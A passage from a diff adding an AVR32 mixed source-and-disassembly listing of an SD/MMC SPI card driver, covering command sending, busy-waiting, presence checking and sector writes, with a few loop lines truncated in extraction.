SD_MMC_SPI_NPCS); +80002242: 30 1b mov r11,1 +80002244: fe 7c 24 00 mov r12,-56320 +80002248: f0 1f 00 10 mcall 80002288 +8000224c: 30 07 mov r7,0 + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != 0xFF) +8000224e: e0 65 00 ff mov r5,255 +80002252: 48 f4 lddpc r4,8000228c +80002254: 3f f6 mov r6,-1 +80002256: c0 b8 rjmp 8000226c + { + retry++; +80002258: 2f f7 sub r7,-1 + if (retry == 200000) +8000225a: e2 57 0d 40 cp.w r7,200000 +8000225e: c0 71 brne 8000226c + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +80002260: 30 1b mov r11,1 +80002262: fe 7c 24 00 mov r12,-56320 +80002266: f0 1f 00 0b mcall 80002290 +8000226a: d8 2a popm r4-r7,pc,r12=0 + uint32_t retry; + + // Select the SD_MMC memory gl_ptr_mem points to + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + retry = 0; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) != 0xFF) +8000226c: 0a 9c mov r12,r5 +8000226e: f0 1f 00 0a mcall 80002294 +80002272: a8 8c st.b r4[0x0],r12 +80002274: ec 0c 18 00 cp.b r12,r6 +80002278: cf 01 brne 80002258 + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); + return KO; + } + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +8000227a: 30 1b mov r11,1 +8000227c: fe 7c 24 00 mov r12,-56320 +80002280: f0 1f 00 04 mcall 80002290 +80002284: da 2a popm r4-r7,pc,r12=1 +80002286: 00 00 add r0,r0 +80002288: 80 00 ld.sh r0,r0[0x0] +8000228a: 30 92 mov r2,9 +8000228c: 00 00 add r0,r0 +8000228e: 04 24 rsub r4,r2 +80002290: 80 00 ld.sh r0,r0[0x0] +80002292: 30 de mov lr,13 +80002294: 80 00 ld.sh r0,r0[0x0] +80002296: 22 0c sub r12,32 + +80002298 : +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_write_open (uint32_t pos) +{ +80002298: d4 01 pushm lr + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 +8000229a: a9 7c lsl r12,0x9 +8000229c: 48 38 lddpc r8,800022a8 +8000229e: 91 0c st.w r8[0x0],r12 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +800022a0: f0 1f 00 03 mcall 800022ac +} +800022a4: d8 02 popm pc +800022a6: 00 00 add r0,r0 +800022a8: 00 00 add r0,r0 +800022aa: 00 f0 st.b --r0,r0 +800022ac: 80 00 ld.sh r0,r0[0x0] +800022ae: 22 40 sub r0,36 + +800022b0 : + +//! +//! @brief This function unselects the current SD_MMC memory. +//! +Bool sd_mmc_spi_read_close (void) +{ +800022b0: d4 01 pushm lr + if (KO == sd_mmc_spi_wait_not_busy()) +800022b2: f0 1f 00 03 mcall 800022bc + return false; + return true; +} +800022b6: 5f 1c srne r12 +800022b8: d8 02 popm pc +800022ba: 00 00 add r0,r0 +800022bc: 80 00 ld.sh r0,r0[0x0] +800022be: 22 40 sub r0,36 + +800022c0 : +//! @param pos Sector address +//! +//! @return bit +//! The open succeeded -> OK +Bool sd_mmc_spi_read_open (uint32_t pos) +{ +800022c0: d4 01 pushm lr + // Set the global memory ptr at a Byte address. + gl_ptr_mem = pos << 9; // gl_ptr_mem = pos * 512 +800022c2: a9 7c lsl r12,0x9 +800022c4: 48 38 lddpc r8,800022d0 +800022c6: 91 0c st.w r8[0x0],r12 + + // wait for MMC not busy + return sd_mmc_spi_wait_not_busy(); +800022c8: f0 1f 00 03 mcall 800022d4 +} +800022cc: d8 02 popm pc +800022ce: 00 00 add r0,r0 +800022d0: 00 00 add r0,r0 +800022d2: 00 f0 st.b --r0,r0 +800022d4: 80 00 ld.sh r0,r0[0x0] +800022d6: 22 40 sub r0,36 + +800022d8 : +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF time out error) +uint8_t sd_mmc_spi_command(uint8_t command, uint32_t arg) +{ +800022d8: eb cd 40 f8 pushm r3-r7,lr +800022dc: 18 96 mov r6,r12 +800022de: 16 97 mov r7,r11 + uint8_t retry; + + spi_write(SD_MMC_SPI, 0xFF); // write dummy byte +800022e0: e0 6b 00 ff mov r11,255 +800022e4: fe 7c 24 00 mov r12,-56320 +800022e8: f0 1f 00 2b mcall 80002394 + spi_write(SD_MMC_SPI, command | 0x40); // send command +800022ec: 0c 9b mov r11,r6 +800022ee: a7 ab sbr r11,0x6 +800022f0: 5c 5b castu.b r11 +800022f2: fe 7c 24 00 mov r12,-56320 +800022f6: f0 1f 00 28 mcall 80002394 + spi_write(SD_MMC_SPI, arg>>24); // send parameter +800022fa: ee 0b 16 18 lsr r11,r7,0x18 +800022fe: fe 7c 24 00 mov r12,-56320 +80002302: f0 1f 00 25 mcall 80002394 + spi_write(SD_MMC_SPI, arg>>16); +80002306: ee 0b 16 10 lsr r11,r7,0x10 +8000230a: fe 7c 24 00 mov r12,-56320 +8000230e: f0 1f 00 22 mcall 80002394 + spi_write(SD_MMC_SPI, arg>>8 ); +80002312: f7 d7 c1 10 bfextu r11,r7,0x8,0x10 +80002316: fe 7c 24 00 mov r12,-56320 +8000231a: f0 1f 00 1f mcall 80002394 + spi_write(SD_MMC_SPI, arg ); +8000231e: 0e 9b mov r11,r7 +80002320: 5c 7b castu.h r11 +80002322: fe 7c 24 00 mov r12,-56320 +80002326: f0 1f 00 1c mcall 80002394 + switch(command) +8000232a: 30 08 mov r8,0 +8000232c: f0 06 18 00 cp.b r6,r8 +80002330: c0 60 breq 8000233c +80002332: 30 88 mov r8,8 +80002334: f0 06 18 00 cp.b r6,r8 +80002338: c1 01 brne 80002358 +8000233a: c0 88 rjmp 8000234a + { + case MMC_GO_IDLE_STATE: + spi_write(SD_MMC_SPI, 0x95); +8000233c: e0 6b 00 95 mov r11,149 +80002340: fe 7c 24 00 mov r12,-56320 +80002344: f0 1f 00 14 mcall 80002394 + break; +80002348: c0 e8 rjmp 80002364 + case MMC_SEND_IF_COND: + spi_write(SD_MMC_SPI, 0x87); +8000234a: e0 6b 00 87 mov r11,135 +8000234e: fe 7c 24 00 mov r12,-56320 +80002352: f0 1f 00 11 mcall 80002394 + break; +80002356: c0 78 rjmp 80002364 + default: + spi_write(SD_MMC_SPI, 0xff); +80002358: e0 6b 00 ff mov r11,255 +8000235c: fe 7c 24 00 mov r12,-56320 +80002360: f0 1f 00 0d mcall 80002394 + + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; +80002364: 3f f9 mov r9,-1 +80002366: 48 d8 lddpc r8,80002398 +80002368: b0 89 st.b r8[0x0],r9 +8000236a: 30 07 mov r7,0 + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) +8000236c: e0 64 00 ff mov r4,255 +80002370: 10 93 mov r3,r8 +80002372: 12 96 mov r6,r9 + { + retry++; + if(retry > 10) break; +80002374: 30 b5 mov r5,11 + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) +80002376: c0 68 rjmp 80002382 + { + retry++; +80002378: 2f f7 sub r7,-1 +8000237a: 5c 57 castu.b r7 + if(retry > 10) break; +8000237c: ea 07 18 00 cp.b r7,r5 +80002380: c0 80 breq 80002390 + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) +80002382: 08 9c mov r12,r4 +80002384: f0 1f 00 06 mcall 8000239c +80002388: a6 8c st.b r3[0x0],r12 +8000238a: ec 0c 18 00 cp.b r12,r6 +8000238e: cf 50 breq 80002378 + { + retry++; + if(retry > 10) break; + } + return r1; +} +80002390: e3 cd 80 f8 ldm sp++,r3-r7,pc +80002394: 80 00 ld.sh r0,r0[0x0] +80002396: 31 c6 mov r6,28 +80002398: 00 00 add r0,r0 +8000239a: 04 24 rsub r4,r2 +8000239c: 80 00 ld.sh r0,r0[0x0] +8000239e: 22 0c sub r12,32 + +800023a0 : +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF if time out error) +uint8_t sd_mmc_spi_send_command(uint8_t command, uint32_t arg) +{ +800023a0: eb cd 40 c0 pushm r6-r7,lr +800023a4: 18 97 mov r7,r12 +800023a6: 16 96 mov r6,r11 + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +800023a8: 30 1b mov r11,1 +800023aa: fe 7c 24 00 mov r12,-56320 +800023ae: f0 1f 00 09 mcall 800023d0 + r1 = sd_mmc_spi_command(command, arg); +800023b2: 0c 9b mov r11,r6 +800023b4: 0e 9c mov r12,r7 +800023b6: f0 1f 00 08 mcall 800023d4 +800023ba: 48 87 lddpc r7,800023d8 +800023bc: ae 8c st.b r7[0x0],r12 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +800023be: 30 1b mov r11,1 +800023c0: fe 7c 24 00 mov r12,-56320 +800023c4: f0 1f 00 06 mcall 800023dc + return r1; +} +800023c8: 0f 8c ld.ub r12,r7[0x0] +800023ca: e3 cd 80 c0 ldm sp++,r6-r7,pc +800023ce: 00 00 add r0,r0 +800023d0: 80 00 ld.sh r0,r0[0x0] +800023d2: 30 92 mov r2,9 +800023d4: 80 00 ld.sh r0,r0[0x0] +800023d6: 22 d8 sub r8,45 +800023d8: 00 00 add r0,r0 +800023da: 04 24 rsub r4,r2 +800023dc: 80 00 ld.sh r0,r0[0x0] +800023de: 30 de mov lr,13 + +800023e0 : +//! +//! @return bit +//! The memory is present (OK) +//! The memory does not respond (disconnected) (KO) +Bool sd_mmc_spi_check_presence(void) +{ +800023e0: eb cd 40 fe pushm r1-r7,lr + uint16_t retry; + + retry = 0; + if (sd_mmc_spi_init_done == false) +800023e4: 49 a8 lddpc r8,8000244c +800023e6: 11 89 ld.ub r9,r8[0x0] +800023e8: 30 08 mov r8,0 +800023ea: f0 09 18 00 cp.b r9,r8 +800023ee: c1 f1 brne 8000242c +800023f0: 30 07 mov r7,0 + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) +800023f2: 0e 94 mov r4,r7 +800023f4: 49 73 lddpc r3,80002450 +800023f6: 30 16 mov r6,1 + { + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +800023f8: e0 62 00 ff mov r2,255 +800023fc: fe 71 24 00 mov r1,-56320 + retry++; + if (retry > 10) +80002400: 30 b5 mov r5,11 +80002402: c0 c8 rjmp 8000241a + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) + { + spi_write(SD_MMC_SPI,0xFF); // write dummy byte +80002404: 04 9b mov r11,r2 +80002406: 02 9c mov r12,r1 +80002408: f0 1f 00 13 mcall 80002454 + retry++; +8000240c: 2f f7 sub r7,-1 +8000240e: 5c 87 casts.h r7 + if (retry > 10) +80002410: ea 07 19 00 cp.h r7,r5 +80002414: c0 31 brne 8000241a +80002416: e3 cf 80 fe ldm sp++,r1-r7,pc,r12=0 + retry = 0; + if (sd_mmc_spi_init_done == false) + { + // If memory is not initialized, try to initialize it (CMD0) + // If no valid response, there is no card + while ((r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0)) != 0x01) +8000241a: 08 9b mov r11,r4 +8000241c: 08 9c mov r12,r4 +8000241e: f0 1f 00 0f mcall 80002458 +80002422: a6 8c st.b r3[0x0],r12 +80002424: ec 0c 18 00 cp.b r12,r6 +80002428: ce e1 brne 80002404 +8000242a: c0 e8 rjmp 80002446 + return OK; + } + else + { + // If memory already initialized, send a CRC command (CMD59) (supported only if card is initialized) + if ((r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0)) == 0x00) +8000242c: 30 0b mov r11,0 +8000242e: 33 bc mov r12,59 +80002430: f0 1f 00 0a mcall 80002458 +80002434: 48 78 lddpc r8,80002450 +80002436: b0 8c st.b r8[0x0],r12 +80002438: 58 0c cp.w r12,0 +8000243a: c0 60 breq 80002446 + return OK; + sd_mmc_spi_init_done = false; +8000243c: 30 09 mov r9,0 +8000243e: 48 48 lddpc r8,8000244c +80002440: b0 89 st.b r8[0x0],r9 +80002442: e3 cf 80 fe ldm sp++,r1-r7,pc,r12=0 + return KO; +80002446: e3 cf 90 fe ldm sp++,r1-r7,pc,r12=1 +8000244a: 00 00 add r0,r0 +8000244c: 00 00 add r0,r0 +8000244e: 01 08 ld.w r8,r0++ +80002450: 00 00 add r0,r0 +80002452: 04 24 rsub r4,r2 +80002454: 80 00 ld.sh r0,r0[0x0] +80002456: 31 c6 mov r6,28 +80002458: 80 00 ld.sh r0,r0[0x0] +8000245a: 23 a0 sub r0,58 + +8000245c : +//! @return bit +//! The write succeeded -> OK +//! The write failed -> KO +//! +Bool sd_mmc_spi_write_sector_from_ram(const void *ram) +{ +8000245c: eb cd 40 e0 pushm r5-r7,lr +80002460: 18 97 mov r7,r12 + const uint8_t *_ram = ram; + uint16_t i; + + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) +80002462: f0 1f 00 49 mcall 80002584 +80002466: e0 80 00 8c breq 8000257e + return KO; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +8000246a: 30 1b mov r11,1 +8000246c: fe 7c 24 00 mov r12,-56320 +80002470: f0 1f 00 46 mcall 80002588 + + // issue command + if(card_type == SD_CARD_2_SDHC) { +80002474: 4c 68 lddpc r8,8000258c +80002476: 11 89 ld.ub r9,r8[0x0] +80002478: 30 38 mov r8,3 +8000247a: f0 09 18 00 cp.b r9,r8 +8000247e: c0 a1 brne 80002492 + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem>>9); +80002480: 4c 48 lddpc r8,80002590 +80002482: 70 0b ld.w r11,r8[0x0] +80002484: a9 9b lsr r11,0x9 +80002486: 31 8c mov r12,24 +80002488: f0 1f 00 43 mcall 80002594 +8000248c: 4c 38 lddpc r8,80002598 +8000248e: b0 8c st.b r8[0x0],r12 +80002490: c0 88 rjmp 800024a0 + } else { + r1 = sd_mmc_spi_command(MMC_WRITE_BLOCK, gl_ptr_mem); +80002492: 4c 08 lddpc r8,80002590 +80002494: 70 0b ld.w r11,r8[0x0] +80002496: 31 8c mov r12,24 +80002498: f0 1f 00 3f mcall 80002594 +8000249c: 4b f8 lddpc r8,80002598 +8000249e: b0 8c st.b r8[0x0],r12 + } + + // check for valid response + if(r1 != 0x00) +800024a0: 4b e8 lddpc r8,80002598 +800024a2: 11 89 ld.ub r9,r8[0x0] +800024a4: 30 08 mov r8,0 +800024a6: f0 09 18 00 cp.b r9,r8 +800024aa: c0 80 breq 800024ba + { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +800024ac: 30 1b mov r11,1 +800024ae: fe 7c 24 00 mov r12,-56320 +800024b2: f0 1f 00 3b mcall 8000259c +800024b6: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 + return KO; + } + // send dummy + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction +800024ba: e0 6b 00 ff mov r11,255 +800024be: fe 7c 24 00 mov r12,-56320 +800024c2: f0 1f 00 38 mcall 800025a0 + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); +800024c6: e0 6b 00 fe mov r11,254 +800024ca: fe 7c 24 00 mov r12,-56320 +800024ce: f0 1f 00 35 mcall 800025a0 +//! +//! @return bit +//! The write succeeded -> OK +//! The write failed -> KO +//! +Bool sd_mmc_spi_write_sector_from_ram(const void *ram) +800024d2: ee c6 fe 00 sub r6,r7,-512 + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + for(i=0;i + spi_write(SD_MMC_SPI,0xFF); // give clock again to end transaction + + // send data start token + spi_write(SD_MMC_SPI,MMC_STARTBLOCK_WRITE); + // write data + for(i=0;i + { + spi_write(SD_MMC_SPI,*_ram++); + } + + spi_write(SD_MMC_SPI,0xFF); // send CRC (field required but value ignored) +800024e6: e0 6b 00 ff mov r11,255 +800024ea: fe 7c 24 00 mov r12,-56320 +800024ee: f0 1f 00 2d mcall 800025a0 + spi_write(SD_MMC_SPI,0xFF); +800024f2: e0 6b 00 ff mov r11,255 +800024f6: fe 7c 24 00 mov r12,-56320 +800024fa: f0 1f 00 2a mcall 800025a0 + + // read data response token + r1 = sd_mmc_spi_send_and_read(0xFF); +800024fe: e0 6c 00 ff mov r12,255 +80002502: f0 1f 00 29 mcall 800025a4 +80002506: 4a 58 lddpc r8,80002598 +80002508: b0 8c st.b r8[0x0],r12 + if( (r1&MMC_DR_MASK) != MMC_DR_ACCEPT) +8000250a: f9 dc c0 05 bfextu r12,r12,0x0,0x5 +8000250e: 58 5c cp.w r12,5 +80002510: c1 40 breq 80002538 + { + spi_write(SD_MMC_SPI,0xFF); // send dummy bytes +80002512: e0 6b 00 ff mov r11,255 +80002516: fe 7c 24 00 mov r12,-56320 +8000251a: f0 1f 00 22 mcall 800025a0 + spi_write(SD_MMC_SPI,0xFF); +8000251e: e0 6b 00 ff mov r11,255 +80002522: fe 7c 24 00 mov r12,-56320 +80002526: f0 1f 00 1f mcall 800025a0 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); +8000252a: 30 1b mov r11,1 +8000252c: fe 7c 24 00 mov r12,-56320 +80002530: f0 1f 00 1b mcall 8000259c +80002534: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 + return KO; // return ERROR byte + } + + spi_write(SD_MMC_SPI,0xFF); // send dummy bytes +80002538: e0 6b 00 ff mov r11,255 +8000253c: fe 7c 24 00 mov r12,-56320 +80002540: f0 1f 00 18 mcall 800025a0 + spi_write(SD_MMC_SPI,0xFF); +80002544: e0 6b 00 ff mov r11,255 +80002548: fe 7c 24 00 mov r12,-56320 +8000254c: f0 1f 00 15 mcall 800025a0 + + // release chip select + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +80002550: 30 1b mov r11,1 +80002552: fe 7c 24 00 mov r12,-56320 +80002556: f0 1f 00 12 mcall 8000259c + gl_ptr_mem += 512; // Update the memory pointer. +8000255a: 48 e8 lddpc r8,80002590 +8000255c: 70 09 ld.w r9,r8[0x0] +8000255e: f2 c9 fe 00 sub r9,r9,-512 +80002562: 91 09 st.w r8[0x0],r9 +80002564: 30 07 mov r7,0 + // wait card not busy after last programming operation + i=0; + while (KO == sd_mmc_spi_wait_not_busy()) + { + i++; + if (i == 10) +80002566: 30 a6 mov r6,10 + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + gl_ptr_mem += 512; // Update the memory pointer. + + // wait card not busy after last programming operation + i=0; + while (KO == sd_mmc_spi_wait_not_busy()) +80002568: c0 68 rjmp 80002574 + { + i++; +8000256a: 2f f7 sub r7,-1 +8000256c: 5c 87 casts.h r7 + if (i == 10) +8000256e: ec 07 19 00 cp.h r7,r6 +80002572: c0 60 breq 8000257e + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + gl_ptr_mem += 512; // Update the memory pointer. + + // wait card not busy after last programming operation + i=0; + while (KO == sd_mmc_spi_wait_not_busy()) +80002574: f0 1f 00 04 mcall 80002584 +80002578: cf 90 breq 8000256a +8000257a: e3 cf 90 e0 ldm sp++,r5-r7,pc,r12=1 +8000257e: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 +80002582: 00 00 add r0,r0 +80002584: 80 00 ld.sh r0,r0[0x0] +80002586: 22 40 sub r0,36 +80002588: 80 00 ld.sh r0,r0[0x0] +8000258a: 30 92 mov r2,9 +8000258c: 00 00 add r0,r0 +8000258e: 04 12 sub r2,r2 +80002590: 00 00 add r0,r0 +80002592: 00 f0 st.b --r0,r0 +80002594: 80 00 ld.sh r0,r0[0x0] +80002596: 22 d8 sub r8,45 +80002598: 00 00 add r0,r0 +8000259a: 04 24 rsub r4,r2 +8000259c: 80 00 ld.sh r0,r0[0x0] +8000259e: 30 de mov lr,13 +800025a0: 80 00 ld.sh r0,r0[0x0] +800025a2: 31 c6 mov r6,28 +800025a4: 80 00 ld.sh r0,r0[0x0] +800025a6: 22 0c sub r12,32 + +800025a8 : +//! SD_CARD Detected card is SD +//! ERROR + + +int sd_mmc_spi_check_hc(void) +{ +800025a8: eb cd 40 c0 pushm r6-r7,lr + unsigned char hc_bit; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) +800025ac: f0 1f 00 1c mcall 8000261c +800025b0: c0 31 brne 800025b6 +800025b2: e3 cf c0 c0 ldm sp++,r6-r7,pc,r12=-1 + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI +800025b6: 30 1b mov r11,1 +800025b8: fe 7c 24 00 mov r12,-56320 +800025bc: f0 1f 00 19 mcall 80002620 + r1 = sd_mmc_spi_command(SD_READ_OCR, 0); +800025c0: 30 0b mov r11,0 +800025c2: 33 ac mov r12,58 +800025c4: f0 1f 00 18 mcall 80002624 +800025c8: 49 88 lddpc r8,80002628 +800025ca: b0 8c st.b r8[0x0],r12 + // check for valid response + if(r1 != 0) { +800025cc: 58 0c cp.w r12,0 +800025ce: c0 80 breq 800025de + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI +800025d0: 30 1b mov r11,1 +800025d2: fe 7c 24 00 mov r12,-56320 +800025d6: f0 1f 00 16 mcall 8000262c +800025da: e3 cf c0 c0 ldm sp++,r6-r7,pc,r12=-1 + return SD_FAILURE; + } + hc_bit = sd_mmc_spi_send_and_read(0xFF); +800025de: e0 6c 00 ff mov r12,255 +800025e2: f0 1f 00 14 mcall 80002630 +800025e6: 18 96 mov r6,r12 + r1 = sd_mmc_spi_send_and_read(0xFF); +800025e8: e0 6c 00 ff mov r12,255 +800025ec: f0 1f 00 11 mcall 80002630